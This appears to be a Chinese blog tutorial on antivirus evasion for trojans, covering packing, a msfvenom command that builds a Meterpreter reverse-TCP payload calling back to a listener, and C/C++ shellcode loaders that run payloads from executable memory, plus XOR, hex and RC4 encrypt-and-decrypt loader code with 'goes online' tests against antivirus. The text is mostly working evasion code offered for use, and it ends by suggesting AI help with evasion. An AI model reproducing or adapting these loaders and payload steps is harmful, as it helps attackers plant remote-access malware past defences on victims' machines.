简单免杀教程(一)
简介
免杀(Anti-Virus Evasion)指恶意软件通过特定技术手段绕过杀毒软件的检测。常见方法包括代码混淆、加密、反调试、内存注入等。以下是几种主流免杀技术及实现方式。
一、加壳
加壳(Packing)是一种通过压缩或加密可执行文件(如.exe、.dll)的技术,目的是减小文件体积、保护代码逻辑或规避安全检测。加壳后的程序运行时需先由壳程序解密或解压原始代码到内存中执行。
1.1生成木马
这里使用CS生成



1.2使用吾爱工具加壳

将所需文件直接拖入即可然后点击开始

1.3检验
可以看到木马是过不了的。


思考
现有的加壳技术公开的都肯定是被记录和防御的所以过不了是很正常的。加壳是阻止安全软件进行反编译,有的安全软件会直接将无法反编译的软件识别为病毒。
二、shellcode编译
2.1生成shellcode
cs生成




msf生成
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.9 LPORT=4444 -f c -o shellcode.c


2.2C语言
这里以visual studio2026为例,创建一个项目的".cpp"源文件。
安装教程:visual studio 2019安装教程(详细的很)_vs2019安装教程-CSDN博客
将以下代码添加至“.cpp”源文件中
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
unsigned char buf[] = "";
void main()
{
LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (Memory == NULL) {
return;
}
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
}
加入我们前面生成的shellcode
unsigned char buf[] = "shellcode";
cs

msf
复制后记得去除 "

生成.exe文件
调试模式要选Release模式Debug容易报错,X86和X64都可以生成看靶机,这里我生成了X86和X64进行实验。

生成的文件地址在这

试一试能不能上线

试试免杀效果


2.3C++
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
unsigned char buf[] = "";
int main()
{
//使用前将“//”去除
//C语言
//LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//if (Memory == NULL) {
//return;
//}
//memcpy(Memory, buf, sizeof(buf));
//((void(*)())Memory)();
//C++
//char* Memory;
// Memory = static_cast<char*>( VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE));
// memcpy(Memory, buf, sizeof(buf));
// ((void(*)())Memory)();
//内联注释
//__asm {
//lea eax,buf
//call eax
//}
//反编译
//__asm{
//mov eax, offset buf
//_emit 0xFF
//_emit 0xE0
//}
}
在相同位置添加shellcode,生成后我们测试一下


2.4内联注释
将注释去掉后同样方法生成
效果


2.5反编译
效果


三、shellcode加密
3.1Hor加密
生成shellcode

利用xor.py生成加密后的shellcode,在xor.py文件下打开cmd
python xor.py -s payload.bin -d payload.c -n 10 -r out. bin
-s文件名
-d生成文件
-n加密方式
-r备份文件
会生成两个文件

可以上线

与shellcode编译方法一样,打开xor_py.cpp进行编译

添加payliad.c的shellcode
效果


代码
xor.py
import sys
from argparse import ArgumentParser, FileType
def process_bin(num, src_fp, dst_fp, dst_raw):
shellcode = ''
shellcode_size = 0
shellcode_raw = b''
try:
while True:
code = src_fp.read(1)
if not code:
break
base10 = ord(code) ^ num
base10_str = chr(base10)
shellcode_raw += base10_str.encode()
code_hex = hex(base10)
code_hex = code_hex.replace('0x','')
if(len(code_hex) == 1):
code_hex = '0' + code_hex
shellcode += '\\x' + code_hex
shellcode_size += 1
src_fp.close()
dst_raw.write(shellcode_raw)
dst_raw.close()
dst_fp.write(shellcode)
dst_fp.close()
return shellcode_size
except Exception as e:
sys.stderr.writelines(str(e))
def main():
parser = ArgumentParser(prog='Shellcode X', description='[XOR The Cobaltstrike PAYLOAD.BINs] \t > Author: 471656814@qq.com')
parser.add_argument('-v','--version',nargs='?')
parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'), required=True)
parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True)
parser.add_argument('-n','--num',help=u'Confused number',type=int, default=90)
parser.add_argument('-r','--raw',help=u'output bin file', type=FileType('wb'), required=True)
args = parser.parse_args()
shellcode_size = process_bin(args.num, args.src, args.dst, args.raw)
sys.stdout.writelines("[+]Shellcode Size : {} \n".format(shellcode_size))
if __name__ == "__main__":
main()
xor_py.cpp
#include <Windows.h>
// 入口函数
int wmain(int argc, TCHAR* argv[]) {
int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
/* length: 800 bytes */
unsigned char buf[] = "";
// 获取shellcode大小
shellcode_size = sizeof(buf);
/* 增加异或代码 */
for (int i = 0; i < shellcode_size; i++) {
buf[i] ^= 10;
}
/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/
char* shellcode = (char*)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
// 将shellcode复制到可执行的内存页中
CopyMemory(shellcode, buf, shellcode_size);
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
return 0;
}
3.2Hex加密
将payload文件放至hex相同文件夹下cmd
LoaderMaker.exe payload.bin hex.exe
会生成hex.exe
注意!!!生成后资源管理器会停止运行
详情:从网上下载的安全研究工具,别乱点_从网上下载的安全工具别乱点-CSDN博客

效果


3.3Rc4加密
将CS生成的c语言shellcode添加进去
先点击开始调试

将生成的shellcode复制后再一次粘贴至代码中
点击生成解决方案
测试上线

效果


rc4.cpp
#include <stdio.h>
#include <windows.h>
#include <iostream>
using namespace std;
unsigned char T[256] = { 0 };
int rc4_init(unsigned char* s, unsigned char* key, unsigned long Len)
{
int i = 0, j = 0;
unsigned char t[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i < 256; i++) {
s[i] = i;
t[i] = key[i % Len];
}
for (i = 0; i < 256; i++) {
j = (j + s[i] + t[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
for (int i = 0; i < 256; i++)
{
T[i] = s[i];
cout << "0x" << hex << (int)T[i] << ',';
}
cout << endl;
return 0;
}
int rc4_crypt(unsigned char* s, unsigned char* buf, unsigned long Len)
{
int i = 0, j = 0, t = 0;
unsigned char tmp;
for (int k = 0; k < Len; k++)
{
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
buf[k] ^= s[t];
}
return 0;
}
unsigned int main()
{
char key[] = "reverse";
unsigned char buf[] = "";
unsigned char s[256];
rc4_init(s, (unsigned char*)key, strlen(key));
for (size_t i = 0; i < sizeof(buf); i++)
{
rc4_crypt(s, &buf[i], sizeof(buf[i]));
printf("\\x%02x", buf[i]);
}
LPVOID add =
VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(add, buf, sizeof(buf));
HANDLE handle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)add, 0, 0, 0);
WaitForSingleObject(handle, INFINITE);
return 0;
}
结尾
目前市面上能用的工具基本都已经不能免杀了,最好的免杀就是自己手工,现在AI发展十分发达可以通过AI辅助进行免杀。免杀没有永远只有一段时间,过了时间效果就会大打折扣,所以想要在免杀上深耕的还需要自己认真学习。
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐



所有评论(0)